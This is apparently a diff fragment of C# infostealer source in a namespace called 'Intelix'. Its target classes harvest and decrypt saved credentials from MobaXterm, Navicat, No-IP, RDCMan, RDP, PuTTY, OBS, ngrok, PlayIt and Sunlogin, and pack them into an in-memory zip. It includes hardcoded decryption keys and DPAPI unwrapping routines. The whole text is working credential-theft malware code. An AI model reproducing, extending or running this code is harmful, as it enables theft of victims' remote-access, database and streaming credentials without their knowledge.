string[] valueNames = registryKey2.GetValueNames();
|
||||
foreach (string text in valueNames)
|
||||
{
|
||||
string[] array = ((string)registryKey2.GetValue(text)).Split(new char[1] { ':' }, 2);
|
||||
string text2 = array[0];
|
||||
string ciphertextBase = array[1];
|
||||
string text3 = DecryptCredential(key, ciphertextBase);
|
||||
Console.WriteLine("[*] Name: " + text);
|
||||
Console.WriteLine("[*] Username: " + text2);
|
||||
Console.WriteLine("[*] Password: " + text3);
|
||||
Console.WriteLine();
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] DecryptMobaXtermMasterKey(string base64Value, string Entropy)
|
||||
{
|
||||
byte[] array = new byte[20]
|
||||
{
|
||||
1, 0, 0, 0, 208, 140, 157, 223, 1, 21,
|
||||
209, 17, 140, 122, 0, 192, 79, 194, 151, 235
|
||||
};
|
||||
byte[] array2 = Convert.FromBase64String(base64Value);
|
||||
byte[] array3 = new byte[array.Length + array2.Length];
|
||||
Buffer.BlockCopy(array, 0, array3, 0, array.Length);
|
||||
Buffer.BlockCopy(array2, 0, array3, array.Length, array2.Length);
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(Entropy);
|
||||
return ProtectedData.Unprotect(array3, bytes, DataProtectionScope.CurrentUser);
|
||||
}
|
||||
|
||||
private string DecryptCredential(byte[] key, string ciphertextBase64)
|
||||
{
|
||||
byte[] array = LenientBase64Decode(ciphertextBase64);
|
||||
byte[] inputBuffer = new byte[16];
|
||||
byte[] array2 = new byte[16];
|
||||
using (Aes aes = Aes.Create())
|
||||
{
|
||||
aes.Mode = CipherMode.ECB;
|
||||
aes.Padding = PaddingMode.None;
|
||||
aes.Key = key;
|
||||
using ICryptoTransform cryptoTransform = aes.CreateEncryptor();
|
||||
cryptoTransform.TransformBlock(inputBuffer, 0, 16, array2, 0);
|
||||
}
|
||||
byte[] array3 = (byte[])array2.Clone();
|
||||
byte[] array4 = new byte[array.Length];
|
||||
using (Aes aes2 = Aes.Create())
|
||||
{
|
||||
aes2.Mode = CipherMode.ECB;
|
||||
aes2.Padding = PaddingMode.None;
|
||||
aes2.Key = key;
|
||||
using ICryptoTransform cryptoTransform2 = aes2.CreateEncryptor();
|
||||
byte[] array5 = new byte[16];
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
cryptoTransform2.TransformBlock(array3, 0, 16, array5, 0);
|
||||
array4[i] = (byte)(array[i] ^ array5[0]);
|
||||
Buffer.BlockCopy(array3, 1, array3, 0, 15);
|
||||
array3[15] = array[i];
|
||||
}
|
||||
}
|
||||
return Encoding.Default.GetString(array4).TrimEnd(default(char));
|
||||
}
|
||||
|
||||
private byte[] LenientBase64Decode(string s)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder(s.Length);
|
||||
foreach (char c in s)
|
||||
{
|
||||
switch (c)
|
||||
{
|
||||
case '-':
|
||||
case '_':
|
||||
stringBuilder.Append((c == '-') ? '+' : '/');
|
||||
continue;
|
||||
default:
|
||||
if ((c < 'a' || c > 'z') && (c < '0' || c > '9') && c != '+' && c != '/' && c != '=')
|
||||
{
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
case 'A':
|
||||
case 'B':
|
||||
case 'C':
|
||||
case 'D':
|
||||
case 'E':
|
||||
case 'F':
|
||||
case 'G':
|
||||
case 'H':
|
||||
case 'I':
|
||||
case 'J':
|
||||
case 'K':
|
||||
case 'L':
|
||||
case 'M':
|
||||
case 'N':
|
||||
case 'O':
|
||||
case 'P':
|
||||
case 'Q':
|
||||
case 'R':
|
||||
case 'S':
|
||||
case 'T':
|
||||
case 'U':
|
||||
case 'V':
|
||||
case 'W':
|
||||
case 'X':
|
||||
case 'Y':
|
||||
case 'Z':
|
||||
break;
|
||||
}
|
||||
stringBuilder.Append(c);
|
||||
}
|
||||
string text = stringBuilder.ToString();
|
||||
int num = text.Length % 4;
|
||||
if (num != 0)
|
||||
{
|
||||
text += new string('=', 4 - num);
|
||||
}
|
||||
List<byte> list = new List<byte>(text.Length * 3 / 4);
|
||||
for (int j = 0; j < text.Length; j += 4)
|
||||
{
|
||||
int[] array = new int[4];
|
||||
for (int k = 0; k < 4; k++)
|
||||
{
|
||||
char c2 = text[j + k];
|
||||
if (c2 == '=')
|
||||
{
|
||||
array[k] = -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
array[k] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".IndexOf(c2);
|
||||
}
|
||||
}
|
||||
int num2 = array[0];
|
||||
int num3 = array[1];
|
||||
int num4 = array[2];
|
||||
int num5 = array[3];
|
||||
byte item = (byte)((num2 << 2) | ((num3 & 0x30) >> 4));
|
||||
list.Add(item);
|
||||
if (num4 != -1)
|
||||
{
|
||||
byte item2 = (byte)(((num3 & 0xF) << 4) | ((num4 & 0x3C) >> 2));
|
||||
list.Add(item2);
|
||||
}
|
||||
if (num5 != -1)
|
||||
{
|
||||
byte item3 = (byte)(((num4 & 3) << 6) | num5);
|
||||
list.Add(item3);
|
||||
}
|
||||
}
|
||||
return list.ToArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class Navicat : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Dictionary<string, string> dictionary = new Dictionary<string, string>
|
||||
{
|
||||
["Navicat"] = "MySql",
|
||||
["NavicatMSSQL"] = "SQL Server",
|
||||
["NavicatOra"] = "Oracle",
|
||||
["NavicatPG"] = "pgsql",
|
||||
["NavicatMARIADB"] = "MariaDB"
|
||||
};
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Navicat";
|
||||
Navicat11Cipher navicat11Cipher = new Navicat11Cipher();
|
||||
foreach (string key in dictionary.Keys)
|
||||
{
|
||||
string text = "Software\\PremiumSoft\\" + key + "\\Servers";
|
||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text);
|
||||
if (registryKey == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string text2 = dictionary[key];
|
||||
string[] subKeyNames = registryKey.GetSubKeyNames();
|
||||
foreach (string text3 in subKeyNames)
|
||||
{
|
||||
RegistryKey registryKey2 = registryKey.OpenSubKey(text3);
|
||||
if (registryKey2 != null)
|
||||
{
|
||||
object value = registryKey2.GetValue("Host");
|
||||
object value2 = registryKey2.GetValue("UserName");
|
||||
object value3 = registryKey2.GetValue("Pwd");
|
||||
string text4 = value.ToString();
|
||||
string text5 = value2.ToString();
|
||||
string ciphertext = value3.ToString();
|
||||
string text6 = navicat11Cipher.DecryptString(ciphertext);
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("DatabaseType: " + text2);
|
||||
stringBuilder.AppendLine("ConnectName: " + text3);
|
||||
stringBuilder.AppendLine("Host: " + text4);
|
||||
stringBuilder.AppendLine("UserName: " + text5);
|
||||
stringBuilder.AppendLine("Password: " + text6);
|
||||
string text7 = "Navicat\\" + text2 + "\\" + text3 + "\\connection.txt";
|
||||
zip.AddTextFile(text7, stringBuilder.ToString());
|
||||
counterApplications.Files.Add(text + "\\" + text3 + " => " + text7);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class Ngrok : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ngrok", "ngrok.yml");
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string text2 = "Ngrok\\ngrok.yml";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Ngrok";
|
||||
zip.AddFile(text2, File.ReadAllBytes(text));
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class NoIp : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "SOFTWARE\\Vitalwerks\\DUC\\v4";
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text);
|
||||
if (registryKey != null)
|
||||
{
|
||||
object value = registryKey.GetValue("CKey");
|
||||
object value2 = registryKey.GetValue("CID");
|
||||
object value3 = registryKey.GetValue("UserName");
|
||||
if (value != null || value2 != null || value3 != null)
|
||||
{
|
||||
string text2 = DecryptString((byte[])value2);
|
||||
string text3 = DecryptString((byte[])value);
|
||||
string text4 = DecryptString((byte[])value3);
|
||||
string text5 = "NoIp\\Credentials.txt";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "NoIp";
|
||||
counterApplications.Files.Add(text + " => " + text5);
|
||||
counterApplications.Files.Add(text5);
|
||||
zip.AddTextFile(text5, "clientid: " + text2 + "\nlogin: " + text4 + "\npassword hash: " + text3);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private string DecryptString(byte[] message)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (message == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array = DpApi.Decrypt(message);
|
||||
if (array == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] key = new byte[16]
|
||||
{
|
||||
127, 238, 115, 104, 83, 74, 138, 240, 49, 50,
|
||||
224, 252, 103, 181, 23, 117
|
||||
};
|
||||
using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
|
||||
tripleDESCryptoServiceProvider.Key = key;
|
||||
tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
|
||||
tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
|
||||
using ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
|
||||
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
|
||||
return Encoding.UTF8.GetString(bytes);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class Obs : ITarget
|
||||
{
|
||||
private static readonly Regex SettingsRe = new Regex("\"settings\"\\s*:\\s*\\{(?<s>.*?)\\}", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline);
|
||||
|
||||
private static readonly Regex ServiceRe = new Regex("\"service\"\\s*:\\s*\"(?<v>[^\"]*)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline);
|
||||
|
||||
private static readonly Regex KeyRe = new Regex("\"key\"\\s*:\\s*\"(?<v>[^\"]*)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline);
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "obs-studio", "basic", "profiles");
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] jsonFiles = new string[2] { "service.json", "service.json.bak" };
|
||||
ConcurrentBag<string> infoLines = new ConcurrentBag<string>();
|
||||
string[] directories = Directory.GetDirectories(path);
|
||||
if (directories.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "OBS";
|
||||
Parallel.ForEach(directories, delegate(string profileDir)
|
||||
{
|
||||
string text2 = Path.GetFileName(profileDir) ?? profileDir;
|
||||
string[] array = jsonFiles;
|
||||
foreach (string text3 in array)
|
||||
{
|
||||
string text4 = Path.Combine(profileDir, text3);
|
||||
if (File.Exists(text4))
|
||||
{
|
||||
string text5 = File.ReadAllText(text4, Encoding.UTF8);
|
||||
string text6 = "OBS\\" + text2 + "\\" + text3;
|
||||
zip.AddFile(text6, File.ReadAllBytes(text4));
|
||||
counterApplications.Files.Add(text4 + " => " + text6);
|
||||
Match match = SettingsRe.Match(text5);
|
||||
string input = (match.Success ? match.Groups["s"].Value : text5);
|
||||
string value = ServiceRe.Match(input).Groups["v"].Value;
|
||||
string value2 = KeyRe.Match(input).Groups["v"].Value;
|
||||
if (!string.IsNullOrEmpty(value) || !string.IsNullOrEmpty(value2))
|
||||
{
|
||||
infoLines.Add("Profile:" + text2 + " | File:" + text3 + " | Service:" + value + " | Key:" + value2);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
if (infoLines.Any())
|
||||
{
|
||||
string text = "OBS\\OBS_ServiceKeys.txt";
|
||||
zip.AddTextFile(text, string.Join(Environment.NewLine, infoLines));
|
||||
counterApplications.Files.Add(text);
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class PlayIt : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "PlayIt";
|
||||
Parallel.ForEach(ProcessWindows.FindFile("playit.toml"), delegate(string toml)
|
||||
{
|
||||
string text3 = "PlayIt\\playit" + RandomStrings.GenerateHashTag() + ".toml";
|
||||
zip.AddFile(text3, File.ReadAllBytes(toml));
|
||||
counterApplications.Files.Add(toml + " => " + text3);
|
||||
});
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "playit_gg", "playit.toml");
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string text2 = "PlayIt\\playit.toml";
|
||||
zip.AddFile(text2, File.ReadAllBytes(text));
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class PuTTY : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "PuTTY";
|
||||
Logs(zip, counterApplications);
|
||||
Sessions(zip, counterApplications);
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counterApplications.Files.Add("PuTTY\\");
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
|
||||
private void Logs(InMemoryZip zip, Counter.CounterApplications counterApplications)
|
||||
{
|
||||
string text = "C:\\Program Files\\PuTTY\\putty.log";
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string text2 = "PuTTY\\putty.log";
|
||||
zip.AddFile(text2, File.ReadAllBytes(text));
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
}
|
||||
}
|
||||
|
||||
private void Sessions(InMemoryZip zip, Counter.CounterApplications counterApplications)
|
||||
{
|
||||
string text = "Software\\SimonTatham\\PuTTY\\Sessions";
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text, writable: false);
|
||||
if (registryKey == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] array = registryKey.GetSubKeyNames().OrderBy((string x) => x, StringComparer.OrdinalIgnoreCase).ToArray();
|
||||
if (array.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] array2 = array;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
using RegistryKey registryKey2 = registryKey.OpenSubKey(text2, writable: false);
|
||||
if (registryKey2 != null)
|
||||
{
|
||||
string text3 = "PuTTY\\session_" + text2 + ".txt";
|
||||
string text4 = string.Join("\n", RegistryParser.ParseKey(registryKey2));
|
||||
zip.AddTextFile(text3, text4);
|
||||
counterApplications.Files.Add(text + "\\" + text2 + " => " + text3);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class RDCMan : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "Remote Desktop Connection Manager", "RDCMan.settings");
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
List<string> list = new List<string>();
|
||||
XmlDocument xmlDocument = new XmlDocument();
|
||||
xmlDocument.LoadXml(File.ReadAllText(path));
|
||||
XmlNodeList xmlNodeList = xmlDocument.SelectNodes("//FilesToOpen");
|
||||
if (xmlNodeList != null)
|
||||
{
|
||||
foreach (XmlNode item in xmlNodeList)
|
||||
{
|
||||
string innerText = item.InnerText;
|
||||
if (!string.IsNullOrEmpty(innerText) && !list.Contains(innerText))
|
||||
{
|
||||
list.Add(innerText);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!list.Any())
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "RDCMan";
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
foreach (string item2 in list)
|
||||
{
|
||||
if (!File.Exists(item2))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string text = "RDCMan\\" + Path.GetFileName(item2);
|
||||
zip.AddFile(text, File.ReadAllBytes(item2));
|
||||
counterApplications.Files.Add(item2 + " => " + text);
|
||||
XmlDocument xmlDocument2 = new XmlDocument();
|
||||
xmlDocument2.LoadXml(File.ReadAllText(item2));
|
||||
XmlNodeList xmlNodeList2 = xmlDocument2.SelectNodes("//server");
|
||||
if (xmlNodeList2 == null || xmlNodeList2.Count == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
stringBuilder.AppendLine("SourceFile: " + item2);
|
||||
stringBuilder.AppendLine($"Found servers: {xmlNodeList2.Count}");
|
||||
stringBuilder.AppendLine();
|
||||
foreach (XmlNode item3 in xmlNodeList2)
|
||||
{
|
||||
string text2 = string.Empty;
|
||||
string text3 = string.Empty;
|
||||
string text4 = string.Empty;
|
||||
string text5 = string.Empty;
|
||||
string text6 = string.Empty;
|
||||
foreach (XmlNode item4 in item3)
|
||||
{
|
||||
foreach (XmlNode item5 in item4)
|
||||
{
|
||||
switch (item5.Name)
|
||||
{
|
||||
case "name":
|
||||
text2 = item5.InnerText;
|
||||
break;
|
||||
case "profileName":
|
||||
text3 = item5.InnerText;
|
||||
break;
|
||||
case "userName":
|
||||
text4 = item5.InnerText;
|
||||
break;
|
||||
case "password":
|
||||
text5 = item5.InnerText;
|
||||
break;
|
||||
case "domain":
|
||||
text6 = item5.InnerText;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!string.IsNullOrEmpty(text5))
|
||||
{
|
||||
string text7 = DecryptPassword(text5);
|
||||
stringBuilder.AppendLine("----");
|
||||
stringBuilder.AppendLine("HostName: " + text2);
|
||||
stringBuilder.AppendLine("ProfileName: " + text3);
|
||||
stringBuilder.AppendLine("UserName: " + (string.IsNullOrEmpty(text6) ? text4 : (text6 + "\\" + text4)));
|
||||
stringBuilder.AppendLine("DecryptedPassword: " + text7);
|
||||
stringBuilder.AppendLine();
|
||||
}
|
||||
}
|
||||
string text8 = "RDCMan\\" + Path.GetFileName(item2) + "\\credentials.txt";
|
||||
zip.AddTextFile(text8, stringBuilder.ToString());
|
||||
counterApplications.Files.Add(text8 ?? "");
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counterApplications.Files.Add("RDCMan\\");
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
|
||||
private string DecryptPassword(string password)
|
||||
{
|
||||
byte[] array = DpApi.Decrypt(Convert.FromBase64String(password));
|
||||
if (array == null)
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
return Encoding.UTF8.GetString(array).TrimEnd(default(char));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class Rdp : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "Software\\Microsoft\\Terminal Server Client";
|
||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text);
|
||||
if (registryKey == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
string text2 = "Rdp";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "RDP";
|
||||
RegistryKey registryKey2 = registryKey.OpenSubKey("Default");
|
||||
if (registryKey2 != null)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
string[] valueNames = registryKey2.GetValueNames();
|
||||
foreach (string name in valueNames)
|
||||
{
|
||||
try
|
||||
{
|
||||
object value = registryKey2.GetValue(name);
|
||||
if (value != null)
|
||||
{
|
||||
stringBuilder.AppendLine(value.ToString());
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (stringBuilder.Length > 0)
|
||||
{
|
||||
string text3 = text2 + "\\History.txt";
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(stringBuilder.ToString() + "\n");
|
||||
zip.AddFile(text3.Replace('\\', '/'), bytes);
|
||||
counterApplications.Files.Add(text + "\\Default => " + text3.Replace('\\', '/'));
|
||||
}
|
||||
}
|
||||
RegistryKey registryKey3 = registryKey.OpenSubKey("Servers");
|
||||
if (registryKey3 != null)
|
||||
{
|
||||
StringBuilder stringBuilder2 = new StringBuilder();
|
||||
string[] valueNames = registryKey3.GetSubKeyNames();
|
||||
foreach (string text4 in valueNames)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryKey registryKey4 = registryKey3.OpenSubKey(text4);
|
||||
if (registryKey4 == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
stringBuilder2.AppendLine(text4 + ":");
|
||||
string[] valueNames2 = registryKey4.GetValueNames();
|
||||
foreach (string text5 in valueNames2)
|
||||
{
|
||||
try
|
||||
{
|
||||
object value2 = registryKey4.GetValue(text5);
|
||||
if (value2 is byte[] array)
|
||||
{
|
||||
string text6 = BitConverter.ToString(array).Replace("-", "");
|
||||
stringBuilder2.AppendLine(text5 + ": " + text6);
|
||||
}
|
||||
else
|
||||
{
|
||||
stringBuilder2.AppendLine($"{text5}: {value2}");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
stringBuilder2.AppendLine();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (stringBuilder2.Length > 0)
|
||||
{
|
||||
string text7 = text2 + "\\Credentials.txt";
|
||||
byte[] bytes2 = Encoding.UTF8.GetBytes(stringBuilder2.ToString());
|
||||
zip.AddFile(text7.Replace('\\', '/'), bytes2);
|
||||
counterApplications.Files.Add(text + "\\Servers => " + text7.Replace('\\', '/'));
|
||||
}
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class Sunlogin : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string name = "SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\Oray SunLogin RemoteClient";
|
||||
string name2 = ".DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginGreenInfo";
|
||||
string name3 = ".DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginInfo";
|
||||
StringBuilder sb = new StringBuilder();
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Sunlogin";
|
||||
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name);
|
||||
RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(name2);
|
||||
RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey(name3);
|
||||
if (registryKey != null)
|
||||
{
|
||||
string path = Path.Combine(Registry.LocalMachine.OpenSubKey(name).GetValue("InstallLocation").ToString(), "config.ini");
|
||||
string text = (File.Exists(path) ? File.ReadAllText(path) : string.Empty);
|
||||
string fastcode = string.Empty;
|
||||
string encry_pwd = string.Empty;
|
||||
string sunlogincode = string.Empty;
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
fastcode = Regex.Match(text, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
encry_pwd = Regex.Match(text, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
sunlogincode = Regex.Match(text, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
}
|
||||
AppendFound("registry_install", path, fastcode, encry_pwd, sunlogincode);
|
||||
}
|
||||
else if (registryKey2 != null)
|
||||
{
|
||||
string fastcode2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_fastcode").ToString();
|
||||
string encry_pwd2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_encry_pwd").ToString();
|
||||
string sunlogincode2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_sunlogincode").ToString();
|
||||
AppendFound("registry_greeninfo", string.Empty, fastcode2, encry_pwd2, sunlogincode2);
|
||||
}
|
||||
else if (registryKey3 != null)
|
||||
{
|
||||
string fastcode3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_fastcode").ToString();
|
||||
string encry_pwd3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_encry_pwd").ToString();
|
||||
string sunlogincode3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_sunlogincode").ToString();
|
||||
AppendFound("registry_info", string.Empty, fastcode3, encry_pwd3, sunlogincode3);
|
||||
}
|
||||
string path2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Oray", "SunloginClient", "config.ini");
|
||||
if (File.Exists(path2))
|
||||
{
|
||||
string input = File.ReadAllText(path2);
|
||||
string value = Regex.Match(input, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
string value2 = Regex.Match(input, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
string value3 = Regex.Match(input, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
AppendFound("programdata", path2, value, value2, value3);
|
||||
}
|
||||
string path3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Oray", "SunloginClientLite", "sys_lite_config.ini");
|
||||
if (File.Exists(path3))
|
||||
{
|
||||
string input2 = File.ReadAllText(path3);
|
||||
string value4 = Regex.Match(input2, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
string value5 = Regex.Match(input2, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
string value6 = Regex.Match(input2, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
AppendFound("user_roaming", path3, value4, value5, value6);
|
||||
}
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System).Substring(0, 3) + "\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming\\Oray\\SunloginClient\\sys_config.ini");
|
||||
